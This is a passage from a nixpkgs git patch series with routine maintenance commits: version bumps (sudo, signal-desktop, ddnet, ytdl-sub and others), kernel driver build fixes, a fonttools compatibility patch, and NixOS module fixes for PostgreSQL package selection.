+  doCheck = enableShared;
+
   meta = with lib; {
     description = "VNC server library";
     homepage = "https://libvnc.github.io/";

From 31873ad74d6412f300a9b63d1e8446ed3e6e68a7 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 9 Jun 2025 10:40:07 +0300
Subject: [PATCH 1382/4511] python313Packages.fonttools: cherry-pick fix for
 Python 3.13.4 behavior change

(cherry picked from commit acd1fdacfa2c746ee10ab838dfe5e95905c47788)
https://hydra.nixos.org/build/300918569/nixlog/1/tail
---
 .../python-modules/fonttools/default.nix      |  6 +++++
 .../fonttools/python-3.13.4.patch             | 25 +++++++++++++++++++
 2 files changed, 31 insertions(+)
 create mode 100644 pkgs/development/python-modules/fonttools/python-3.13.4.patch

diff --git a/pkgs/development/python-modules/fonttools/default.nix b/pkgs/development/python-modules/fonttools/default.nix
index b7f7b7e1326f..7fc9a62294a4 100644
--- a/pkgs/development/python-modules/fonttools/default.nix
+++ b/pkgs/development/python-modules/fonttools/default.nix
@@ -39,6 +39,12 @@ buildPythonPackage rec {
     hash = "sha256-ZkC1+I2d9wY9J7IoCGHGWG2gOVN7wW274UpN1lQxmJY=";
   };
 
+  patches = [
+    # https://github.com/fonttools/fonttools/pull/3855
+    # FIXME: remove when merged
+    ./python-3.13.4.patch
+  ];
+
   build-system = [
     setuptools
     setuptools-scm
diff --git a/pkgs/development/python-modules/fonttools/python-3.13.4.patch b/pkgs/development/python-modules/fonttools/python-3.13.4.patch
new file mode 100644
index 000000000000..c05def255b17
--- /dev/null
+++ b/pkgs/development/python-modules/fonttools/python-3.13.4.patch
@@ -0,0 +1,25 @@
+diff --git a/Lib/fontTools/feaLib/ast.py b/Lib/fontTools/feaLib/ast.py
+index efcce8c680..18e5a891d3 100644
+--- a/Lib/fontTools/feaLib/ast.py
++++ b/Lib/fontTools/feaLib/ast.py
+@@ -719,7 +719,8 @@ def __init__(self, prefix, glyphs, suffix, lookups, location=None):
+         for i, lookup in enumerate(lookups):
+             if lookup:
+                 try:
+-                    (_ for _ in lookup)
++                    for _ in lookup:
++                        break
+                 except TypeError:
+                     self.lookups[i] = [lookup]
+ 
+@@ -777,7 +778,8 @@ def __init__(self, prefix, glyphs, suffix, lookups, location=None):
+         for i, lookup in enumerate(lookups):
+             if lookup:
+                 try:
+-                    (_ for _ in lookup)
++                    for _ in lookup:
++                        break
+                 except TypeError:
+                     self.lookups[i] = [lookup]
+ 
+

From 6c5c7be86b4071b64f41713f31d880416b73b9ae Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 22 Jun 2025 00:40:09 +0000
Subject: [PATCH 1383/4511] qpwgraph: 0.9.3 -> 0.9.4

(cherry picked from commit c49b43f2df6a6c4e174a32a0f7fb251927013099)
---
 pkgs/applications/audio/qpwgraph/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/audio/qpwgraph/default.nix b/pkgs/applications/audio/qpwgraph/default.nix
index 31295e4d3071..6a41d5c38731 100644
--- a/pkgs/applications/audio/qpwgraph/default.nix
+++ b/pkgs/applications/audio/qpwgraph/default.nix
@@ -14,14 +14,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "qpwgraph";
-  version = "0.9.3";
+  version = "0.9.4";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
     owner = "rncbc";
     repo = "qpwgraph";
     rev = "v${finalAttrs.version}";
-    sha256 = "sha256-6aJymZjuUMezEbOosveXyiY7y+XgGk3E8Dd4tb8UyrU=";
+    sha256 = "sha256-VvOdorj+CpFSI+iyVeMR0enXGO5mLPE8KiaHGuG/KDQ=";
   };
 
   nativeBuildInputs = [

From 7a64fe1f1d534194832a859bef8273dc63f54e13 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Sun, 22 Jun 2025 10:24:11 +0200
Subject: [PATCH 1384/4511] Revert "linux-firmware: 20250509 -> 20250613"

This reverts commit 44a84770ea103cacd7ee8c3b468ae628f3ec63c7.
---
 pkgs/by-name/li/linux-firmware/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/linux-firmware/package.nix b/pkgs/by-name/li/linux-firmware/package.nix
index e1a6f4e9fade..e5f97ebebdb2 100644
--- a/pkgs/by-name/li/linux-firmware/package.nix
+++ b/pkgs/by-name/li/linux-firmware/package.nix
@@ -22,11 +22,11 @@ let
 in
 stdenvNoCC.mkDerivation rec {
   pname = "linux-firmware";
-  version = "20250613";
+  version = "20250509";
 
   src = fetchzip {
-    url = "https://cdn.kernel.org/pub/linux/kernel/firmware/linux-firmware-${version}.tar.xz";
-    hash = "sha256-qygwQNl99oeHiCksaPqxxeH+H7hqRjbqN++Hf9X+gzs=";
+    url = "https://cdn.kernel.org/pub/linux/kernel/firmware/linux-firmware-${version}.tar.xz ";
+    hash = "sha256-0FrhgJQyCeRCa3s0vu8UOoN0ZgVCahTQsSH0o6G6hhY=";
   };
 
   postUnpack = ''

From 3f7249675a4af1ca97a7b13b50c477c9d929e5f1 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sun, 25 May 2025 00:33:28 +0200
Subject: [PATCH 1385/4511] linuxPackages.veikk-linux-driver: fix build

with kernels >= 6.12

(cherry picked from commit c5cea38e690922026a14bec43c21370ec67503f3)
---
 .../linux/veikk-linux-driver/default.nix      |  2 ++
 .../veikk-linux-driver/fix-6.12-build.patch   | 26 +++++++++++++++++++
 2 files changed, 28 insertions(+)
 create mode 100644 pkgs/os-specific/linux/veikk-linux-driver/fix-6.12-build.patch

diff --git a/pkgs/os-specific/linux/veikk-linux-driver/default.nix b/pkgs/os-specific/linux/veikk-linux-driver/default.nix
index 55ce63db7902..81111d4e710e 100644
--- a/pkgs/os-specific/linux/veikk-linux-driver/default.nix
+++ b/pkgs/os-specific/linux/veikk-linux-driver/default.nix
@@ -17,6 +17,8 @@ stdenv.mkDerivation rec {
     sha256 = "11mg74ds58jwvdmi3i7c4chxs6v9g09r9ll22pc2kbxjdnrp8zrn";
   };
 
+  patches = [ ./fix-6.12-build.patch ];
+
   nativeBuildInputs = kernel.moduleBuildDependencies;
 
   buildInputs = [ kernel ];
diff --git a/pkgs/os-specific/linux/veikk-linux-driver/fix-6.12-build.patch b/pkgs/os-specific/linux/veikk-linux-driver/fix-6.12-build.patch
new file mode 100644
index 000000000000..feae73dd83e2
--- /dev/null
+++ b/pkgs/os-specific/linux/veikk-linux-driver/fix-6.12-build.patch
@@ -0,0 +1,26 @@
+https://github.com/torvalds/linux/commit/5f60d5f6bbc12e782fac78110b0ee62698f3b576
+---
+ veikk_vdev.c | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+diff --git a/veikk_vdev.c b/veikk_vdev.c
+index 9d0b49f..83e9efa 100644
+--- a/veikk_vdev.c
++++ b/veikk_vdev.c
+@@ -6,7 +6,13 @@
+  * - Set up the module parameters
+  */
+
++#include <linux/version.h>
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(6, 12, 0)
+ #include <asm/unaligned.h>
++#else
++#include <linux/unaligned.h>
++#endif
+ #include <linux/module.h>
+ #include "veikk.h"
+
+--
+2.49.0
+

From 3d56ac8ef057e7e02bb2adf0af57adcac4fb34e9 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sun, 25 May 2025 00:37:46 +0200
Subject: [PATCH 1386/4511] linuxPackages.veikk-linux-driver: small
 improvements

- use finalAttrs
- use src.tag
- add installPhase hooks
- remove `with lib;` from meta

(cherry picked from commit 38b936056fdeebe9d7f69d58cadd54b0dccb39b7)
---
 .../linux/veikk-linux-driver/default.nix      | 22 +++++++++++--------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/pkgs/os-specific/linux/veikk-linux-driver/default.nix b/pkgs/os-specific/linux/veikk-linux-driver/default.nix
index 81111d4e710e..7663707fe662 100644
--- a/pkgs/os-specific/linux/veikk-linux-driver/default.nix
+++ b/pkgs/os-specific/linux/veikk-linux-driver/default.nix
@@ -6,15 +6,15 @@
   kernelModuleMakeFlags,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "veikk-linux-driver";
   version = "2.0";
 
   src = fetchFromGitHub {
     owner = "jlam55555";
-    repo = pname;
-    rev = "v${version}";
-    sha256 = "11mg74ds58jwvdmi3i7c4chxs6v9g09r9ll22pc2kbxjdnrp8zrn";
+    repo = "veikk-linux-driver";
+    tag = "v${finalAttrs.version}";
+    sha256 = "sha256-Nn90s22yrynYFYLSlBN4aRvdISPsxBFr21yiohs5r4Y=";
   };
 
   patches = [ ./fix-6.12-build.patch ];
@@ -28,16 +28,20 @@ stdenv.mkDerivation rec {
   ];
 
   installPhase = ''
+    runHook preInstall
+
     mkdir -p $out/lib/modules/${kernel.modDirVersion}/kernel/drivers/veikk
     install -Dm755 veikk.ko $out/lib/modules/${kernel.modDirVersion}/kernel/drivers/veikk
+
+    runHook postInstall
   '';
 
-  meta = with lib; {
+  meta = {
     description = "Linux driver for VEIKK-brand digitizers";
     homepage = "https://github.com/jlam55555/veikk-linux-driver/";
-    license = licenses.gpl2Only;
-    platforms = platforms.linux;
-    maintainers = with maintainers; [ nicbk ];
+    license = lib.licenses.gpl2Only;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [ nicbk ];
     broken = kernel.kernelOlder "4.19";
   };
-}
+})

From e6cd978912003d665edd58c5483cf74f627d0b4d Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sun, 25 May 2025 01:53:00 +0200
Subject: [PATCH 1387/4511] linuxPackages.rtl8821cu: unstable-2024-09-27 ->
 unstable-2025-05-08

Which also fixes builds with newer kernels.

(cherry picked from commit 231a5993606cbf1d729447c887515b64c6174ede)
---
 pkgs/os-specific/linux/rtl8821cu/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/rtl8821cu/default.nix b/pkgs/os-specific/linux/rtl8821cu/default.nix
index 063c50e7c25b..cff86b4a6920 100644
--- a/pkgs/os-specific/linux/rtl8821cu/default.nix
+++ b/pkgs/os-specific/linux/rtl8821cu/default.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation {
   pname = "rtl8821cu";
-  version = "${kernel.version}-unstable-2024-09-27";
+  version = "${kernel.version}-unstable-2025-05-08";
 
   src = fetchFromGitHub {
     owner = "morrownr";
     repo = "8821cu-20210916";
-    rev = "2dce552dc6aa0cdab427bfa810c3df002eab0078";
-    hash = "sha256-8hGAfZyDCGl0RnPnYjc7iMEulZvoIGe2ghfIfoiz7ZI=";
+    rev = "d74134a1c68f59f2b80cdd6c6afb8c1a8a687cbf";
+    hash = "sha256-ExT7ONQeejFoMwUUXKua7wMnRi+3IYayLmlWIEWteK4=";
   };
 
   hardeningDisable = [ "pic" ];

From 15d5090f0b777bf16455c841b802bc0b718c92ba Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 22 Jun 2025 00:34:20 +0000
Subject: [PATCH 1388/4511] sudo: 1.9.16p2 -> 1.9.17

(cherry picked from commit e80dd5608e093823d0a8e1be4c1bb83f59fe1242)
---
 pkgs/by-name/su/sudo/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/su/sudo/package.nix b/pkgs/by-name/su/sudo/package.nix
index 31ddf4d3af1f..34b1a8e98e16 100644
--- a/pkgs/by-name/su/sudo/package.nix
+++ b/pkgs/by-name/su/sudo/package.nix
@@ -17,13 +17,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "sudo";
   # be sure to check if nixos/modules/security/sudo.nix needs updating when bumping
   # e.g. links to man pages, value constraints etc.
-  version = "1.9.16p2";
+  version = "1.9.17";
 
   __structuredAttrs = true;
 
   src = fetchurl {
     url = "https://www.sudo.ws/dist/sudo-${finalAttrs.version}.tar.gz";
-    hash = "sha256-l2qlbT47KnVZMweGQoit23SMnBNuJdlanMaZqvp3I5w=";
+    hash = "sha256-PyEsadU01YIrSS0JmrsCpZP5HKmfWv3ly5vT4dza0Gk=";
   };
 
   prePatch = ''

From e965ccf30359bb55881321a84d6417ef1a2f488b Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Sun, 22 Jun 2025 11:37:21 +0200
Subject: [PATCH 1389/4511] signal-desktop-bin: 7.55.0 -> 7.58.0 (#413044)

* signal-desktop-bin: 7.55.0 -> 7.58.0

* signal-desktop-bin(aarch64-linux): 7.55.0 -> 7.58.0

* signal-desktop-bin(darwin): 7.55.0 -> 7.58.0

* signal-desktop-bin: add commandLineArgs

(cherry picked from commit ba79c475631ca67fab94b58ebb4683a76daed185)
---
 pkgs/by-name/si/signal-desktop-bin/generic.nix         |  4 ++++
 pkgs/by-name/si/signal-desktop-bin/package.nix         | 10 +++++++---
 .../si/signal-desktop-bin/signal-desktop-aarch64.nix   | 10 +++++-----
 .../si/signal-desktop-bin/signal-desktop-darwin.nix    |  4 ++--
 pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix  |  8 ++++----
 5 files changed, 22 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop-bin/generic.nix b/pkgs/by-name/si/signal-desktop-bin/generic.nix
index 978ba0ae4dfe..9b0fd4aec65c 100644
--- a/pkgs/by-name/si/signal-desktop-bin/generic.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/generic.nix
@@ -51,6 +51,9 @@
   libpulseaudio,
   xdg-utils,
   wayland,
+
+  # command line arguments which are always set e.g "--password-store=kwallet6"
+  commandLineArgs,
 }:
 
 {
@@ -255,6 +258,7 @@ stdenv.mkDerivation rec {
     gappsWrapperArgs+=(
       --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}"
       --suffix PATH : ${lib.makeBinPath [ xdg-utils ]}
+      --add-flags ${lib.escapeShellArg commandLineArgs}
     )
 
     # Fix the desktop link
diff --git a/pkgs/by-name/si/signal-desktop-bin/package.nix b/pkgs/by-name/si/signal-desktop-bin/package.nix
index f2faec1ccb35..79e6becbe892 100644
--- a/pkgs/by-name/si/signal-desktop-bin/package.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/package.nix
@@ -1,7 +1,11 @@
-{ stdenv, callPackage }:
+{
+  stdenv,
+  callPackage,
+  commandLineArgs ? "",
+}:
 if stdenv.hostPlatform.system == "aarch64-linux" then
-  callPackage ./signal-desktop-aarch64.nix { }
+  callPackage ./signal-desktop-aarch64.nix { inherit commandLineArgs; }
 else if stdenv.hostPlatform.isDarwin then
   callPackage ./signal-desktop-darwin.nix { }
 else
-  callPackage ./signal-desktop.nix { }
+  callPackage ./signal-desktop.nix { inherit commandLineArgs; }
diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
index 40c707422afe..1f1f5344e11f 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
@@ -1,7 +1,7 @@
-{ callPackage }:
-callPackage ./generic.nix { } {
+{ callPackage, commandLineArgs }:
+callPackage ./generic.nix { inherit commandLineArgs; } {
   pname = "signal-desktop-bin";
-  version = "7.55.0";
+  version = "7.58.0";
 
   libdir = "usr/lib64/signal-desktop";
   bindir = "usr/bin";
@@ -10,6 +10,6 @@ callPackage ./generic.nix { } {
     bsdtar -xf $downloadedFile -C "$out"
   '';
 
-  url = "https://download.copr.fedorainfracloud.org/results/useidel/signal-desktop/fedora-42-aarch64/09073923-signal-desktop/signal-desktop-7.55.0-1.fc42.aarch64.rpm";
-  hash = "sha256-rRt2hYyj6kyN0RCupy+hpRJuzq0aaUzP2tsVr2Qd5V4=";
+  url = "https://download.copr.fedorainfracloud.org/results/useidel/signal-desktop/fedora-42-aarch64/09183198-signal-desktop/signal-desktop-7.58.0-1.fc42.aarch64.rpm";
+  hash = "sha256-0Ix+1SdvmKLVbtGzbjUupvVzdWAJFNQ6sSAIt+T9fHo=";
 }
diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
index 29140ecf699d..12d651efd925 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
@@ -6,11 +6,11 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "signal-desktop-bin";
-  version = "7.55.0";
+  version = "7.58.0";
 
   src = fetchurl {
     url = "https://updates.signal.org/desktop/signal-desktop-mac-universal-${finalAttrs.version}.dmg";
-    hash = "sha256-9PD4SDTACjKSBqIdv3CFtKhRKA5ugbQe2AcWA4hFoqs=";
+    hash = "sha256-yOPYG9bCSCIE1L8RgEXCy6pJUHONBh9SpPY4WDfZEho=";
   };
   sourceRoot = ".";
 
diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
index 31e3b0c7dc08..9bb3f231165c 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
@@ -1,12 +1,12 @@
-{ callPackage }:
-callPackage ./generic.nix { } rec {
+{ callPackage, commandLineArgs }:
+callPackage ./generic.nix { inherit commandLineArgs; } rec {
   pname = "signal-desktop-bin";
-  version = "7.55.0";
+  version = "7.58.0";
 
   libdir = "opt/Signal";
   bindir = libdir;
   extractPkg = "dpkg-deb -x $downloadedFile $out";
 
   url = "https://updates.signal.org/desktop/apt/pool/s/signal-desktop/signal-desktop_${version}_amd64.deb";
-  hash = "sha256-uc623M/GiIfED1mTFnXUggnFdvDBmngrsdTIlq6QxqM=";
+  hash = "sha256-zZ63AE+qb0lrGtGUtU4FV6pHDO2DUV2vknz3a4+f4aA=";
 }

From a07c4f2dd0a8121019e523bf89ce208e17eaf156 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 24 May 2025 23:58:58 +0200
Subject: [PATCH 1390/4511] linuxPackages.shufflecake: 0.5.1 -> 0.5.2

(cherry picked from commit b6df7be47c992d301ca8b2ea0a0a03eae98abd6a)
---
 pkgs/os-specific/linux/shufflecake/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/shufflecake/default.nix b/pkgs/os-specific/linux/shufflecake/default.nix
index acc7ab0b340a..6a62f901f677 100644
--- a/pkgs/os-specific/linux/shufflecake/default.nix
+++ b/pkgs/os-specific/linux/shufflecake/default.nix
@@ -9,13 +9,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   name = "shufflecake";
-  version = "0.5.1";
+  version = "0.5.2";
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "shufflecake";
     repo = "shufflecake-c";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-ULRx+WEz7uQ1C0JDaXORo6lmiwBAwD20j/XP92YE/K0=";
+    hash = "sha256-EF9VKaqcNJt3hd/CUT+QeW17tc5ByStDanGGwi4uL4s=";
   };
 
   nativeBuildInputs = kernel.moduleBuildDependencies;

From 371c994f4a7966c1fabae93b89c699172c9ff83e Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 24 May 2025 23:59:11 +0200
Subject: [PATCH 1391/4511] linuxPackages.shufflecake: fix build with gcc 14

(cherry picked from commit 3a9486b017ce85c5e2f12a3c60b62baac685d709)
---
 pkgs/os-specific/linux/shufflecake/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/os-specific/linux/shufflecake/default.nix b/pkgs/os-specific/linux/shufflecake/default.nix
index 6a62f901f677..6871364183b5 100644
--- a/pkgs/os-specific/linux/shufflecake/default.nix
+++ b/pkgs/os-specific/linux/shufflecake/default.nix
@@ -27,6 +27,9 @@ stdenv.mkDerivation (finalAttrs: {
     "KERNEL_DIR=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
   ];
 
+  # GCC 14 makes this an error by default, remove when fixed upstream
+  env.NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
+
   outputs = [
     "out"
     "bin"

From ec6d3e45e5fde14e13ecb3fd72f24b694f334ce1 Mon Sep 17 00:00:00 2001
From: Heinz Deinhart <heinz@nix.at>
Date: Thu, 12 Jun 2025 22:52:38 +0200
Subject: [PATCH 1392/4511] ddnet: 19.2 -> 19.2.1

ddnet/ddnet@19.2...19.2-1

(cherry picked from commit 64722dd591f9b62fd5d69148511065699f06acc3)
---
 pkgs/by-name/dd/ddnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/dd/ddnet/package.nix b/pkgs/by-name/dd/ddnet/package.nix
index 8f49b6b9e41c..d9627c40b351 100644
--- a/pkgs/by-name/dd/ddnet/package.nix
+++ b/pkgs/by-name/dd/ddnet/package.nix
@@ -32,13 +32,13 @@
 
 stdenv.mkDerivation rec {
   pname = "ddnet";
-  version = "19.2";
+  version = "19.2.1";
 
   src = fetchFromGitHub {
     owner = "ddnet";
     repo = "ddnet";
     tag = version;
-    hash = "sha256-7moxTdoUTOpAHDT0LNNG6ccHeXKxd6ND+GRcgchWVSI=";
+    hash = "sha256-0G0rVqkrIKjSGW7TF218TqakzJxiCzDipLGDzJvgdRg=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From 2e8fb5124ea079a6ff03f73cf390423286ba46cf Mon Sep 17 00:00:00 2001
From: Heinz Deinhart <heinz@nix.at>
Date: Sun, 22 Jun 2025 11:46:16 +0200
Subject: [PATCH 1393/4511] ddnet: 19.2.1 -> 19.3

https://ddnet.org/downloads/#19.3
ddnet/ddnet@19.2.1...19.3

(cherry picked from commit a412cc450a1bbeae9130ba35730ddcfbde561cd5)
---
 pkgs/by-name/dd/ddnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/dd/ddnet/package.nix b/pkgs/by-name/dd/ddnet/package.nix
index d9627c40b351..c3483d022e5d 100644
--- a/pkgs/by-name/dd/ddnet/package.nix
+++ b/pkgs/by-name/dd/ddnet/package.nix
@@ -32,13 +32,13 @@
 
 stdenv.mkDerivation rec {
   pname = "ddnet";
-  version = "19.2.1";
+  version = "19.3";
 
   src = fetchFromGitHub {
     owner = "ddnet";
     repo = "ddnet";
     tag = version;
-    hash = "sha256-0G0rVqkrIKjSGW7TF218TqakzJxiCzDipLGDzJvgdRg=";
+    hash = "sha256-8mCkzZPdLFGIlOkMiNDOxiQeEHa+k0BX9PMIPbjmW5k=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From d7e6b4f2a01726128b5b905755271d6f59295941 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 19 Jun 2025 10:23:20 +0000
Subject: [PATCH 1394/4511] ytdl-sub: 2025.06.12 -> 2025.06.19.post1

Changelog: https://github.com/jmbannon/ytdl-sub/releases/tag/2025.06.19.post1
Diff: https://github.com/jmbannon/ytdl-sub/compare/2025.06.12...2025.06.19.post1
(cherry picked from commit a6442d2dd12526fa30cfdbd36a0aa0fff588ade4)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 960a5a8cea7f..5450cbab134a 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -8,14 +8,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
-  version = "2025.06.12";
+  version = "2025.06.19.post1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "jmbannon";
     repo = "ytdl-sub";
     tag = version;
-    hash = "sha256-42fvyUCaVaaGLW7CdoJidJQAUgjG2wmCeHxWA+XUQCk=";
+    hash = "sha256-aZ7LzpOZgI9KUt0aWMdzVH299O83d3zPxldRKZvwO8I=";
   };
 
   postPatch = ''

From a73bbac70b635ad3c2edf27ed1e916ff90604fd4 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 21 Jun 2025 22:46:15 +0200
Subject: [PATCH 1395/4511] ytdl-sub: enable tests

Co-authored-by: nialov <nikolasovaskainen@gmail.com>

(cherry picked from commit 39504265f2434cdeaa16c01903512b20f464f9f5)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 21 ++++++++++++++++++++-
 1 file changed, 20 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 5450cbab134a..b83ded1e6fe5 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -42,9 +42,28 @@ python3Packages.buildPythonApplication rec {
     "--set YTDL_SUB_FFPROBE_PATH ${lib.getExe' ffmpeg "ffprobe"}"
   ];
 
-  nativeCheckInputs = [ versionCheckHook ];
+  nativeCheckInputs = [
+    versionCheckHook
+    python3Packages.pytestCheckHook
+  ];
   versionCheckProgramArg = "--version";
 
+  env = {
+    YTDL_SUB_FFMPEG_PATH = "${lib.getExe' ffmpeg "ffmpeg"}";
+    YTDL_SUB_FFPROBE_PATH = "${lib.getExe' ffmpeg "ffprobe"}";
+  };
+
+  disabledTests = [
+    "test_presets_run"
+    "test_logger_can_be_cleaned_during_execution"
+  ];
+
+  pytestFlagsArray = [
+    # According to documentation, e2e tests can be flaky:
+    # "This checksum can be inaccurate for end-to-end tests"
+    "--ignore=tests/e2e"
+  ];
+
   passthru.updateScript = ./update.sh;
 
   meta = {

From 3dc25416ac047011568cab6ff3c45a8c2a2ab418 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 22 Jun 2025 15:57:50 +0200
Subject: [PATCH 1396/4511] ytdl-sub: fix build on aarch64

(cherry picked from commit 5e4ae28787d18b271d6328bac547db99c0a642c5)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index b83ded1e6fe5..25306411197b 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -54,8 +54,9 @@ python3Packages.buildPythonApplication rec {
   };
 
   disabledTests = [
-    "test_presets_run"
     "test_logger_can_be_cleaned_during_execution"
+    "test_presets_run"
+    "test_thumbnail"
   ];
 
   pytestFlagsArray = [

From ea6f7c1587cb4a4d358da274d87071dc0a7576c1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 21:39:05 +0200
Subject: [PATCH 1397/4511] nixos/libeufin: fix postgresql.package regression

`config.services.postgresql.package` is now only available when the
PostgreSQL module is actually enabled. If we're not using the local
database, we'll need to fallback to the latest postgresql version, since
we don't know about the remote version.

(cherry picked from commit da3beb2a08b791e5b034aba4a83c16ff7f032c31)
---
 nixos/modules/services/finance/libeufin/common.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/finance/libeufin/common.nix b/nixos/modules/services/finance/libeufin/common.nix
index 4e0a6bffe02f..20b99ce9c396 100644
--- a/nixos/modules/services/finance/libeufin/common.nix
+++ b/nixos/modules/services/finance/libeufin/common.nix
@@ -96,7 +96,9 @@ libeufinComponent:
             };
           in
           {
-            path = [ config.services.postgresql.package ];
+            path = [
+              (if cfg.createLocalDatabase then config.services.postgresql.package else pkgs.postgresql)
+            ];
             serviceConfig = {
               Type = "oneshot";
               DynamicUser = true;

From 25e4fe68b1fb81df90b38db7b60c8c6a716fbf81 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 21:39:52 +0200
Subject: [PATCH 1398/4511] nixos/roundcube: fix postgresql.package regression

`config.services.postgresql.package` is now only available when the
PostgreSQL module is actually enabled. If we're not using the local
database, we'll need to fallback to the latest postgresql version, since
we don't know about the remote version.

(cherry picked from commit e780b064a859f056b3ad02502965822cd1d815d8)
---
 nixos/modules/services/mail/roundcube.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/mail/roundcube.nix b/nixos/modules/services/mail/roundcube.nix
index 7cb723e3172c..c31c4b069928 100644
--- a/nixos/modules/services/mail/roundcube.nix
+++ b/nixos/modules/services/mail/roundcube.nix
@@ -272,7 +272,7 @@ in
     ];
 
     systemd.services.roundcube-setup = lib.mkMerge [
-      (lib.mkIf (cfg.database.host == "localhost") {
+      (lib.mkIf localDB {
         requires = [ "postgresql.service" ];
         after = [ "postgresql.service" ];
       })
@@ -281,7 +281,9 @@ in
         after = [ "network-online.target" ];
         wantedBy = [ "multi-user.target" ];
 
-        path = [ config.services.postgresql.package ];
+        path = [
+          (if localDB then config.services.postgresql.package else pkgs.postgresql)
+        ];
         script =
           let
